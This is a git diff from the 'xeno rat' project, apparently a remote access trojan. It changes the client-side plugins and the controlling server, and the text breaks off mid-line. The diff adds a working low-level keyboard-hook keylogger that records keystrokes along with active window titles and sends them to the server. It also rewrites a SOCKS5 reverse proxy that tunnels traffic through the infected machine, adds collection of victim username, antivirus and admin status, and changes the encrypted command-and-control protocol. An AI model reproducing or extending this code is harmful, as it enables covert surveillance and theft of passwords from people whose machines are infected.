diff --git a/Plugins/KeyLogger/keyLogger.cs b/Plugins/KeyLogger/keyLogger.cs index aae8439..761140d 100644 --- a/Plugins/KeyLogger/keyLogger.cs +++ b/Plugins/KeyLogger/keyLogger.cs @@ -1,8 +1,10 @@ using System; using System.Collections.Generic; +using System.Diagnostics; using System.Linq; using System.Runtime.InteropServices; using System.Text; +using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using xeno_rat_client; @@ -12,48 +14,76 @@ namespace Plugin { public class Main { + public delegate IntPtr HookCallbackDelegate(int nCode, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll")] + public static extern IntPtr SetWindowsHookEx(int idHook, HookCallbackDelegate lpfn, IntPtr wParam, uint lParam); + + [DllImport("user32.dll")] + public static extern bool UnhookWindowsHookEx(IntPtr hhk); + + [DllImport("kernel32.dll")] + public static extern IntPtr GetModuleHandle(string lpModuleName); + [DllImport("user32.dll")] + public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); + + private static int WH_KEYBOARD_LL = 13; + private static int WM_KEYDOWN = 0x100; + + Node node; + + public async Task Run(Node node) { await node.SendAsync(new byte[] { 3 });//indicate that it has connected + + this.node = node; + IntPtr hookHandle=IntPtr.Zero; + new Thread(() => + { + HookCallbackDelegate hcDelegate = HookCallback; + Process currproc = Process.GetCurrentProcess(); + string mainModuleName = currproc.MainModule.ModuleName; + currproc.Dispose(); + hookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, hcDelegate, GetModuleHandle(mainModuleName), 0); + Application.Run(); + }).Start(); while (node.Connected()) { - string retchar = await GetKey(); - if (retchar != null) - { - string open_application = xeno_rat_client.Utils.GetCaptionOfActiveWindow().Replace("*", ""); - await node.SendAsync(Encoding.UTF8.GetBytes(open_application)); - await node.SendAsync(Encoding.UTF8.GetBytes(retchar)); - } - + Application.DoEvents(); + await Task.Delay(1); + } + if (hookHandle != IntPtr.Zero) + { + UnhookWindowsHookEx(hookHandle); } + } - private async Task GetKey() + public async Task sendKeyData(string charectar) { - return await Task.Run(() => + string open_application = xeno_rat_client.Utils.GetCaptionOfActiveWindow().Replace("*", ""); + if (node == null || !node.Connected()) return; + await node.SendAsync(Encoding.UTF8.GetBytes(open_application)); + await node.SendAsync(Encoding.UTF8.GetBytes(charectar)); + } + + public IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) + { + if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) { - for (int i = 0; i < 255; i++) + int vkCode = Marshal.ReadInt32(lParam); + bool isShiftPressed = (GetAsyncKeyState((int)Keys.ShiftKey) & 0x8000) != 0; + string character = GetCharacterFromKey((uint)vkCode, isShiftPressed); + if ((((ushort)GetKeyState(0x14)) & 0xffff) != 0)//check for caps lock { - short state = GetAsyncKeyState(i); - - if ((state & 0x8000) != 0 && !keyStates[i]) - { - keyStates[i] = true; - - bool isShiftPressed = (GetAsyncKeyState((int)Keys.ShiftKey) & 0x8000) != 0; - string character = GetCharacterFromKey((uint)i, isShiftPressed); - return character; - } - else if ((state & 0x8000) == 0 && keyStates[i]) - { - keyStates[i] = false; - } + character= character.ToUpper(); } - return null; - }); + sendKeyData(character); + } + return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam); } - private static Dictionary nonVisibleCharacters = new Dictionary() { { 0x08, "[backspace]" }, @@ -185,10 +215,13 @@ private static string GetCharacterFromKey(uint virtualKeyCode, bool isShiftPress [DllImport("user32.dll")] private static extern short GetAsyncKeyState(int vKey); + [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)] + public static extern short GetKeyState(int keyCode); [DllImport("user32.dll")] private static extern int ToUnicode(uint virtualKeyCode, uint scanCode, byte[] keyboardState, [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] StringBuilder receivingBuffer, int bufferSize, uint flags); + } } diff --git a/Plugins/KeyLoggerOffline/KeyLoggerOffline.cs b/Plugins/KeyLoggerOffline/KeyLoggerOffline.cs index 8ecbb52..30055c3 100644 --- a/Plugins/KeyLoggerOffline/KeyLoggerOffline.cs +++ b/Plugins/KeyLoggerOffline/KeyLoggerOffline.cs @@ -1,5 +1,6 @@ using System; using System.Collections.Generic; +using System.Diagnostics; using System.IO; using System.IO.Pipes; using System.Linq; @@ -18,6 +19,7 @@ public class Main bool started = false; bool owner = true; bool FULLSTOP = false; + IntPtr key_hook= IntPtr.Zero; CancellationTokenSource FULLSTOP_token = new CancellationTokenSource(); Dictionary applicationkeylogs; string pipename = "OfflineKeyloggerPipe"; @@ -52,6 +54,7 @@ public async Task Run(Node node)// get server side intergation (I mean like xeno try { byte[] data = await node.ReceiveAsync(); + Console.WriteLine(data[0]); if (data == null) { break; @@ -67,7 +70,8 @@ public async Task Run(Node node)// get server side intergation (I mean like xeno } else if (data[0] == 1) { - await Start(); + Console.WriteLine("start"); + Start(); } else if (data[0] == 2) { @@ -97,7 +101,8 @@ public async Task Run(Node node)// get server side intergation (I mean like xeno { while (!FULLSTOP) { - await Task.Delay(5000); + Application.DoEvents(); + await Task.Delay(1); } } @@ -112,7 +117,7 @@ public async Task StartServer() { applicationkeylogs = new Dictionary(); - keylogloop(); + //keylogloop(); while (!FULLSTOP) { NamedPipeServerStream server = new NamedPipeServerStream(pipename, PipeDirection.InOut, 254, PipeTransmissionMode.Byte, PipeOptions.Asynchronous); @@ -204,6 +209,11 @@ public async Task DO_FULLSTOP() FULLSTOP = true; FULLSTOP_token.Cancel(); FULLSTOP_token.Dispose(); + if (key_hook != IntPtr.Zero) + { + UnhookWindowsHookEx(key_hook); + key_hook = IntPtr.Zero; + } return; } try @@ -211,7 +221,30 @@ public async Task DO_FULLSTOP() await client.WriteAsync(new byte[] { 5 }, 0, 1); } catch { } + } + + public IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) + { + if (started && nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) + { + int vkCode = Marshal.ReadInt32(lParam); + bool isShiftPressed = (GetAsyncKeyState((int)Keys.ShiftKey) & 0x8000) != 0; + string character = GetCharacterFromKey((uint)vkCode, isShiftPressed); + string open_application = Utils.GetCaptionOfActiveWindow().Replace("*", ""); + if ((((ushort)GetKeyState(0x14)) & 0xffff) != 0)//check for caps lock + { + character = character.ToUpper(); + } + if (!applicationkeylogs.ContainsKey(open_application)) + { + applicationkeylogs.Add(open_application, ""); + } + Console.WriteLine(character); + applicationkeylogs[open_application] += character; } + return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam); + } + public async Task keylogloop() { @@ -224,7 +257,7 @@ public async Task keylogloop() string retchar = await GetKey(); if (retchar != null) { - string open_application = xeno_rat_client.Utils.GetCaptionOfActiveWindow().Replace("*",""); + string open_application = Utils.GetCaptionOfActiveWindow().Replace("*",""); if (!applicationkeylogs.ContainsKey(open_application)) { applicationkeylogs.Add(open_application, ""); @@ -272,6 +305,7 @@ private static Dictionary ConvertBytesToDictionary(byte[] data, dictionary[currentKey] = currentValue.ToString(); // Use ToString to get the string currentKey = null; currentValue.Clear(); + } } else @@ -344,9 +378,18 @@ public async Task> GetKeylogs(int count=0) } public async Task Start() { - if (owner) + if (owner && !started) { started = true; + new Thread(() => + { + HookCallbackDelegate hcDelegate = HookCallback; + Process currproc = Process.GetCurrentProcess(); + string mainModuleName = currproc.MainModule.ModuleName; + currproc.Dispose(); + key_hook = SetWindowsHookEx(WH_KEYBOARD_LL, hcDelegate, GetModuleHandle(mainModuleName), 0); + Application.Run();//this is blocking, fix it + }).Start(); return; } await client.WriteAsync(new byte[] { 2 }, 0, 1); @@ -356,6 +399,13 @@ public async Task Stop() if (owner) { started = false; + + if (key_hook != IntPtr.Zero) + { + UnhookWindowsHookEx(key_hook); + key_hook= IntPtr.Zero; + } + return; } await client.WriteAsync(new byte[] { 3 }, 0, 1); @@ -541,6 +591,25 @@ private static string GetCharacterFromKey(uint virtualKeyCode, bool isShiftPress [DllImport("user32.dll")] private static extern short GetAsyncKeyState(int vKey); + [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)] + public static extern short GetKeyState(int keyCode); + + public delegate IntPtr HookCallbackDelegate(int nCode, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll")] + public static extern IntPtr SetWindowsHookEx(int idHook, HookCallbackDelegate lpfn, IntPtr wParam, uint lParam); + + [DllImport("user32.dll")] + public static extern bool UnhookWindowsHookEx(IntPtr hhk); + + [DllImport("kernel32.dll")] + public static extern IntPtr GetModuleHandle(string lpModuleName); + [DllImport("user32.dll")] + public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); + + private static int WH_KEYBOARD_LL = 13; + private static int WM_KEYDOWN = 0x100; + [DllImport("user32.dll")] private static extern int ToUnicode(uint virtualKeyCode, uint scanCode, byte[] keyboardState, diff --git a/Plugins/ReverseProxy/ReverseProxy.cs b/Plugins/ReverseProxy/ReverseProxy.cs index 9e91f32..320b09b 100644 --- a/Plugins/ReverseProxy/ReverseProxy.cs +++ b/Plugins/ReverseProxy/ReverseProxy.cs @@ -3,6 +3,7 @@ using System.Linq; using System.Net; using System.Net.Sockets; +using System.Runtime.Remoting.Messaging; using System.Text; using System.Threading; using System.Threading.Tasks; @@ -20,6 +21,8 @@ public async Task Run(Node node) try { byte[] id = await node.ReceiveAsync(); + Console.WriteLine(id==null); + Console.WriteLine("a"); if (id != null) { int nodeid = node.sock.BytesToInt(id); @@ -39,7 +42,7 @@ public async Task Run(Node node) continue; } node.AddSubNode(tempnode); - await Sock5.Start(tempnode); + new Socks5Handler(tempnode).Start(); } else { @@ -55,291 +58,194 @@ public async Task Run(Node node) } } - - public class Sock5 + class Socks5Handler { - private const int BUFSIZE = 1024; - private const int TIMEOUT_SOCKET = 5; - private const string LOCAL_ADDR = "127.0.0.1"; - private const int LOCAL_PORT = 1234; - private static readonly byte[] VER = new byte[] { 0x05 }; - private static byte M_NOTAVAILABLE = 0xFF; - private static byte M_NOAUTH = 0x00; - private static readonly byte[] CMD_CONNECT = new byte[] { 0x01 }; - private static readonly byte[] ATYP_IPV4 = new byte[] { 0x01 }; - private static readonly byte[] ATYP_DOMAINNAME = new byte[] { 0x03 }; - - private static async Task ProxyLoop(Socket socketSrc, Socket socketDst) - { - while (socketDst.Connected && socketSrc.Connected) - { - try - { - - // Use Task.WhenAny to asynchronously wait for data availability - await Task.WhenAny( - Task.Run(() => socketSrc.Poll(1000, SelectMode.SelectRead)), - Task.Run(() => socketDst.Poll(1000, SelectMode.SelectRead)) - ); - - if (socketSrc.Available > 0) - { - byte[] buffer = new byte[BUFSIZE]; - int bytesRead = await socketSrc.ReceiveAsync(new ArraySegment(buffer), SocketFlags.None); - - if (bytesRead == 0) - { - return; - } - - await socketDst.SendAsync(new ArraySegment(buffer, 0, bytesRead), SocketFlags.None); - } - else if (socketDst.Available > 0) - { - byte[] buffer = new byte[BUFSIZE]; - int bytesRead = await socketDst.ReceiveAsync(new ArraySegment(buffer), SocketFlags.None); - - if (bytesRead == 0) - { - return; - } - await socketSrc.SendAsync(new ArraySegment(buffer, 0, bytesRead), SocketFlags.None); - } - } - catch - { - return; - } - await Task.Delay(200); - } + Node subnode; + public Socks5Handler(Node subnode) + { + this.subnode = subnode; } - private static async Task ConnectToDst(string dstAddr, int dstPort) + private Socket CreateSocket(int TIMEOUT_SOCKET) { - Socket sock = CreateSocket(); try { - await sock.ConnectAsync(dstAddr, dstPort); + Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + sock.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, TIMEOUT_SOCKET); return sock; } - catch + catch (SocketException ex) { + Console.WriteLine("Failed to create socket: {0}", ex.Message); return null; } } - private static async Task> RequestClient(Node wrapper) + private async Task DisconnectSockAsync(Socket sock) { try { - byte[] s5Request = new byte[BUFSIZE]; - int bytesReceived = await wrapper.sock.sock.ReceiveAsync(new ArraySegment(s5Request), SocketFlags.None); - - if (bytesReceived == 0) + if (sock != null) { - return new Tuple("", 0); + await Task.Delay(10); + await Task.Factory.FromAsync(sock.BeginDisconnect, sock.EndDisconnect, true, null); } - if ( - s5Request[0] != VER[0] || - s5Request[1] != CMD_CONNECT[0] || - s5Request[2] != 0x00 - ) - { - return new Tuple("", 0); - } - - string dstAddr = ""; - int dstPort = 0; - if (s5Request[3] == ATYP_IPV4[0]) - { - byte[] addrBytes = new byte[4]; - Array.Copy(s5Request, 4, addrBytes, 0, 4); - dstAddr = new IPAddress(addrBytes).ToString(); - if (BitConverter.IsLittleEndian) - { - Array.Reverse(s5Request, 8, 2); - } - dstPort = (int)BitConverter.ToUInt16(s5Request, 8); - Console.WriteLine(dstPort); - } - else if (s5Request[3] == ATYP_DOMAINNAME[0]) - { - int szDomainName = s5Request[4]; - byte[] domainNameBytes = new byte[szDomainName]; - Array.Copy(s5Request, 5, domainNameBytes, 0, szDomainName); - dstAddr = Encoding.ASCII.GetString(domainNameBytes); - dstPort = BitConverter.ToUInt16(s5Request, 5 + szDomainName); - } - else - { - return new Tuple("", 0); - } - - Console.WriteLine("{0}:{1}", dstAddr, dstPort); - return new Tuple(dstAddr, dstPort); } catch { - return new Tuple("", 0); + sock?.Close(0); } } - private static async Task Request(Node wrapper) + public async Task Start() { - var dst = await RequestClient(wrapper); - byte[] rep = { 0x07 }; - byte[] bnd = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - Socket socketDst = null; - if (dst.Item1 != "" && dst.Item2 != 0) - { - socketDst = await ConnectToDst(dst.Item1, dst.Item2); - } - if (dst.Item1 == "" || socketDst == null) - { - rep[0] = 0x01; - } - else - { - rep[0] = 0x00; - IPAddress bndAddr = ((IPEndPoint)socketDst.LocalEndPoint).Address; - byte[] bndAddrBytes = bndAddr.GetAddressBytes(); - bnd[0] = bndAddrBytes[0]; - bnd[1] = bndAddrBytes[1]; - bnd[2] = bndAddrBytes[2]; - bnd[3] = bndAddrBytes[3]; - bnd[4] = (byte)((socketDst.LocalEndPoint as IPEndPoint).Port / 256); - bnd[5] = (byte)((socketDst.LocalEndPoint as IPEndPoint).Port % 256); - } - byte[] reply = { VER[0], rep[0], 0x00, ATYP_IPV4[0], bnd[0], bnd[1], bnd[2], bnd[3], bnd[4], bnd[5] }; try { - await wrapper.sock.sock.SendAsync(new ArraySegment(reply), SocketFlags.None); - } - catch - { - if (wrapper != null) + byte[] OK = new byte[] { 1 }; + byte[] timoutErr = new byte[] { 2 }; + byte[] hostUnreachableErr = new byte[] { 3 }; + byte[] GeneralErr = new byte[] { 4 }; + + + byte[] dest_addr_bytes = await subnode.ReceiveAsync(); + byte[] port_bytes = await subnode.ReceiveAsync(); + byte[] timeout_bytes = await subnode.ReceiveAsync(); + + int port = subnode.sock.BytesToInt(port_bytes); + int timeout = subnode.sock.BytesToInt(timeout_bytes); + string dest_addr = Encoding.UTF8.GetString(dest_addr_bytes); + + Socket remote_socket = CreateSocket(timeout); + try { - wrapper.Disconnect(); + await remote_socket.ConnectAsync(dest_addr, port); } - if (socketDst != null) + catch (SocketException ex) { - socketDst.Close(0); + if (ex.SocketErrorCode == SocketError.TimedOut) + { + await subnode.SendAsync(timoutErr); + await DisconnectSockAsync(remote_socket); + subnode.Disconnect(); + return; + } + else if (ex.SocketErrorCode == SocketError.HostUnreachable) + { + await subnode.SendAsync(hostUnreachableErr); + await DisconnectSockAsync(remote_socket); + subnode.Disconnect(); + return; + } + else + { + await subnode.SendAsync(GeneralErr); + await DisconnectSockAsync(remote_socket); + subnode.Disconnect(); + return; + } } - return; - } - if (rep[0] == 0x00) - { - await ProxyLoop(wrapper.sock.sock, socketDst); - } - if (wrapper != null) - { - wrapper.Disconnect(); + await subnode.SendAsync(OK); + + IPEndPoint rsock_info = ((IPEndPoint)remote_socket.LocalEndPoint); + + byte[] rsock_addr = rsock_info.Address.GetAddressBytes(); + byte[] rsock_port = new byte[] { (byte)(rsock_info.Port / 256), (byte)(rsock_info.Port % 256) }; + await subnode.SendAsync(rsock_addr); + await subnode.SendAsync(rsock_port); + + await RecvSendLoop(remote_socket, subnode, 4096); + await DisconnectSockAsync(remote_socket); + subnode.Disconnect(); } - if (socketDst != null) + catch (Exception e) { - socketDst.Close(0); + Console.WriteLine(e.Message); } } - private static async Task subnegotiationClient(Node wrapper) + private async Task RecvSendLoop(Socket remote_socket, Node subnode, int bufferSize) { - try + while (remote_socket.Connected && subnode.Connected()) { - byte[] identificationPacket = new byte[BUFSIZE]; - int bytesRead = await wrapper.sock.sock.ReceiveAsync(new ArraySegment(identificationPacket), SocketFlags.None); - if (identificationPacket[0] != VER[0]) - { - return M_NOTAVAILABLE; - } - int nmethods = identificationPacket[1]; - byte[] methods = new byte[nmethods]; - Array.Copy(identificationPacket, 2, methods, 0, nmethods); - for (int i = 0; i < nmethods; i++) + try { - if (methods[i] == M_NOAUTH) + await Task.WhenAny( + Task.Run(() => remote_socket.Poll(1000, SelectMode.SelectRead)), + Task.Run(() => subnode.sock.sock.Poll(1000, SelectMode.SelectRead)) + ); + if (remote_socket.Available > 0) + { + byte[] buffer = new byte[bufferSize]; + int bytesRead = await remote_socket.ReceiveAsync(new ArraySegment(buffer), SocketFlags.None); + if (bytesRead == 0) + { + return; + } + + await subnode.SendAsync(buffer.Take(bytesRead).ToArray()); + + } + + if (subnode.sock.sock.Available > 0) { - return M_NOAUTH; + byte[] data = await subnode.ReceiveAsync(); + if ((await remote_socket.SendAsync(new ArraySegment(data), SocketFlags.None)) == 0) + { + return; + } } + await Task.Delay(100); + } + catch + { + return; } - return M_NOTAVAILABLE; - } - catch - { - return M_NOTAVAILABLE; } - } - private static async Task subnegotiation(Node wrapper) - { - byte method = await subnegotiationClient(wrapper); - if (method != M_NOAUTH) - { - return false; - } - byte[] reply = new byte[] { VER[0], method }; - try - { - await wrapper.sock.sock.SendAsync(new ArraySegment(reply), SocketFlags.None); - } - catch - { - return false; - } - return true; } - private static async Task Connection(Node wrapper) + + } + + public static class Socks5Const + { + public enum AuthMethod : byte { - if (await subnegotiation(wrapper)) - { - await Request(wrapper); - } + NoAuthenticationRequired = 0x00, + GSSAPI = 0x01, + UsernamePassword = 0x02, + NoAcceptableMethods = 0xFF + // '\x03' to '\x7F' IANA ASSIGNED + // '\x80' to '\xFE' RESERVED FOR PRIVATE METHODS } - private static Socket CreateSocket() + public enum Command : byte { - try - { - Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - sock.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, TIMEOUT_SOCKET); - return sock; - } - catch (SocketException ex) - { - Console.WriteLine("Failed to create socket: {0}", ex.Message); - return null; - } + Connect = 0x01, + Bind = 0x02, + UdpAssociate = 0x03 } - private static Socket BindPort(Socket sock) + public enum AddressType : byte { - try - { - Console.WriteLine("Bind {0}", LOCAL_PORT); - sock.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true); - sock.Bind(new IPEndPoint(IPAddress.Parse(LOCAL_ADDR), LOCAL_PORT)); - } - catch (SocketException ex) - { - Console.WriteLine("Bind failed: {0}", ex.Message); - sock.Close(0); - } - - try - { - sock.Listen(100); - } - catch - { - sock.Close(0); - } - - return sock; + IPv4 = 0x01, + DomainName = 0x03, + IPv6 = 0x04 } - public static async Task Start(Node subnode) + public enum Reply : byte { - Connection(subnode); + OK = 0x00, // succeeded + Failure = 0x01, // general SOCKS server failure + NotAllowed = 0x02, // connection not allowed by ruleset + NetworkUnreachable = 0x03, // Network unreachable + HostUnreachable = 0x04, // Host unreachable + ConnectionRefused = 0x05, // Connection refused + TtlExpired = 0x06, // TTL expired + CommandNotSupported = 0x07, // Command not supported + AddressTypeNotSupported = 0x08 // Address type not supported } } + + } diff --git a/xeno rat client/Compression.cs b/xeno rat client/Compression.cs index b51d594..602276d 100644 --- a/xeno rat client/Compression.cs +++ b/xeno rat client/Compression.cs @@ -43,6 +43,7 @@ public static byte[] Compress(byte[] buffer) ret = RtlCompressBuffer(COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, buffer, buffer.Length, outBuf, outBuf.Length, 0, out dstSize, hWork); if (ret != 0) { + LocalFree(hWork); return null; } LocalFree(hWork); diff --git a/xeno rat client/DllHandler.cs b/xeno rat client/DllHandler.cs index 3d01e93..fa65903 100644 --- a/xeno rat client/DllHandler.cs +++ b/xeno rat client/DllHandler.cs @@ -16,7 +16,7 @@ public DllHandler() AppDomain.CurrentDomain.AssemblyResolve += CurrentDomain_AssemblyResolve; } - private Dictionary Assemblies = new Dictionary(); + public Dictionary Assemblies = new Dictionary(); public string classpath = "Plugin.Main"; public async Task DllNodeHandler(Node subServer) { diff --git a/xeno rat client/Handler.cs b/xeno rat client/Handler.cs index dc5ab01..9c2b655 100644 --- a/xeno rat client/Handler.cs +++ b/xeno rat client/Handler.cs @@ -2,6 +2,7 @@ using System.Collections.Generic; using System.Diagnostics; using System.Linq; +using System.Security.Principal; using System.Text; using System.Threading; using System.Threading.Tasks; @@ -57,8 +58,8 @@ private async Task GetAndSendInfo(Node Type0) return; } //get hwid, username etc. seperated by null - string clientversion = "1.7.0";//find a way to get the client version. - string[] info = new string[] { Utils.HWID(), Environment.UserName , clientversion, Utils.GetWindowsVersion(), Utils.GetAntivirus(), Utils.IsAdmin().ToString() }; + string clientversion = "1.8.0";//find a way to get the client version. + string[] info = new string[] { Utils.HWID(), Environment.UserName, WindowsIdentity.GetCurrent().Name, clientversion, Utils.GetWindowsVersion(), Utils.GetAntivirus(), Utils.IsAdmin().ToString() }; byte[] data = new byte[0]; byte[] nullbyte = new byte[] { 0 }; for(int i=0;i originalOut.Encoding; + + public override void Write(char value) + { + Program.ProcessLog.Append(value); // Capture the output + originalOut.Write(value); // Continue to write to the original output + } + + public override void WriteLine(string value) + { + Program.ProcessLog.AppendLine(value); // Capture the output with a new line + originalOut.WriteLine(value); // Continue to write to the original output + } + + // You can add other overrides if needed + + public string GetCapturedOutput() + { + return Program.ProcessLog.ToString(); + } + + public void ClearCapturedOutput() + { + Program.ProcessLog.Clear(); + } + } } diff --git a/xeno rat client/SocketHandler.cs b/xeno rat client/SocketHandler.cs index bf778f2..21dfffe 100644 --- a/xeno rat client/SocketHandler.cs +++ b/xeno rat client/SocketHandler.cs @@ -153,27 +153,24 @@ public async Task SendAsync(byte[] data) try { - data = Encryption.Encrypt(data, EncryptionKey); byte[] compressedData = Compression.Compress(data); byte didCompress = 0; int orgLen = data.Length; - - if (compressedData.Length < orgLen) + if (compressedData != null && compressedData.Length < orgLen) { data = compressedData; didCompress = 1; } - byte[] header = new byte[] { didCompress }; if (didCompress == 1) { header = Concat(header, IntToBytes(orgLen)); } - data = Concat(header, data); + data = Encryption.Encrypt(data, EncryptionKey); + data = Concat(new byte[] { 3 }, data);//protocol upgrade byte byte[] size = IntToBytes(data.Length); data = Concat(size, data); - await sock.SendAsync(new ArraySegment(data), SocketFlags.None); return true; @@ -200,11 +197,35 @@ public async Task ReceiveAsync() { return null;//disconnect } - if (data[0] == 2) + + header Header; + + if (data[0] == 3)//protocol upgrade + { + data = BTruncate(data, 1); + data = Encryption.Decrypt(data, EncryptionKey); + if (data[0] == 2) + { + continue; + } + Header = ParseHeader(data); + if (Header == null) + { + return null;//disconnect + } + data = BTruncate(data, Header.T_offset); + if (Header.Compressed) + { + data = Compression.Decompress(data, Header.OriginalFileSize); + } + return data; + } + else if (data[0] == 2) { continue; } - header Header = ParseHeader(data); + + Header = ParseHeader(data); if (Header == null) { return null;//disconnect @@ -216,6 +237,7 @@ public async Task ReceiveAsync() } data = Encryption.Decrypt(data, EncryptionKey); return data; + } } catch diff --git a/xeno rat client/Utils.cs b/xeno rat client/Utils.cs index 0a0dff8..b60ed88 100644 --- a/xeno rat client/Utils.cs +++ b/xeno rat client/Utils.cs @@ -35,9 +35,21 @@ public class Utils [DllImport("user32.dll")] private static extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, out uint ProcessId); + [DllImport("User32.dll")] + private static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); + + [DllImport("user32.dll")] private static extern bool CloseHandle(IntPtr hObject); + internal struct LASTINPUTINFO + { + public uint cbSize; + + public uint dwTime; + } + + public static string GetCaptionOfActiveWindow() { string strTitle = string.Empty; @@ -340,5 +352,14 @@ public static async Task AddToStartupAdmin(string executablePath, string n return false; } + + public static uint GetIdleTime() + { + LASTINPUTINFO lastInPut = new LASTINPUTINFO(); + lastInPut.cbSize = (uint)Marshal.SizeOf(lastInPut); + GetLastInputInfo(ref lastInPut); + return ((uint)Environment.TickCount - lastInPut.dwTime); + } + } } diff --git a/xeno rat server/App.config b/xeno rat server/App.config index 4bfa005..bcb2ae2 100644 --- a/xeno rat server/App.config +++ b/xeno rat server/App.config @@ -1,6 +1,14 @@ - + - + + + + + + + + + diff --git a/xeno rat server/Forms/DebugInfo.Designer.cs b/xeno rat server/Forms/DebugInfo.Designer.cs new file mode 100644 index 0000000..cf26ee2 --- /dev/null +++ b/xeno rat server/Forms/DebugInfo.Designer.cs @@ -0,0 +1,136 @@ +namespace xeno_rat_server.Forms +{ + partial class DebugInfo + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.listView1 = new System.Windows.Forms.ListView(); + this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.button1 = new System.Windows.Forms.Button(); + this.richTextBox1 = new System.Windows.Forms.RichTextBox(); + this.button2 = new System.Windows.Forms.Button(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // listView1 + // + this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader1}); + this.listView1.FullRowSelect = true; + this.listView1.GridLines = true; + this.listView1.HideSelection = false; + this.listView1.Location = new System.Drawing.Point(12, 62); + this.listView1.MultiSelect = false; + this.listView1.Name = "listView1"; + this.listView1.Size = new System.Drawing.Size(452, 344); + this.listView1.TabIndex = 0; + this.listView1.UseCompatibleStateImageBehavior = false; + this.listView1.View = System.Windows.Forms.View.Details; + this.listView1.ItemActivate += new System.EventHandler(this.listView1_ItemActivate); + this.listView1.MouseClick += new System.Windows.Forms.MouseEventHandler(this.listView1_MouseClick); + // + // columnHeader1 + // + this.columnHeader1.Text = "Dll Name"; + this.columnHeader1.Width = 445; + // + // button1 + // + this.button1.Location = new System.Drawing.Point(13, 413); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(75, 23); + this.button1.TabIndex = 1; + this.button1.Text = "Refresh"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // richTextBox1 + // + this.richTextBox1.Location = new System.Drawing.Point(470, 62); + this.richTextBox1.Name = "richTextBox1"; + this.richTextBox1.Size = new System.Drawing.Size(343, 344); + this.richTextBox1.TabIndex = 2; + this.richTextBox1.Text = ""; + // + // button2 + // + this.button2.Location = new System.Drawing.Point(470, 415); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(75, 23); + this.button2.TabIndex = 3; + this.button2.Text = "Refresh"; + this.button2.UseVisualStyleBackColor = true; + this.button2.Click += new System.EventHandler(this.button2_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(13, 26); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(24, 13); + this.label1.TabIndex = 4; + this.label1.Text = "Dlls"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(472, 26); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(78, 13); + this.label2.TabIndex = 5; + this.label2.Text = "Console output"; + // + // DebugInfo + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(825, 450); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Controls.Add(this.button2); + this.Controls.Add(this.richTextBox1); + this.Controls.Add(this.button1); + this.Controls.Add(this.listView1); + this.Name = "DebugInfo"; + this.Text = "DebugInfo"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.ListView listView1; + private System.Windows.Forms.ColumnHeader columnHeader1; + private System.Windows.Forms.Button button1; + private System.Windows.Forms.RichTextBox richTextBox1; + private System.Windows.Forms.Button button2; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + } +} \ No newline at end of file diff --git a/xeno rat server/Forms/DebugInfo.cs b/xeno rat server/Forms/DebugInfo.cs new file mode 100644 index 0000000..a01990f --- /dev/null +++ b/xeno rat server/Forms/DebugInfo.cs @@ -0,0 +1,115 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace xeno_rat_server.Forms +{ + public partial class DebugInfo : Form + { + Node client; + public DebugInfo(Node _client) + { + InitializeComponent(); + client = _client; + AsyncInit(); + } + + public async Task AsyncInit() + { + await ResetAndPopulateListView(); + } + + public async Task GetDlls() + { + await client.SendAsync(new byte[] { 4, 0 }); + byte[] dll_info_bytes = await 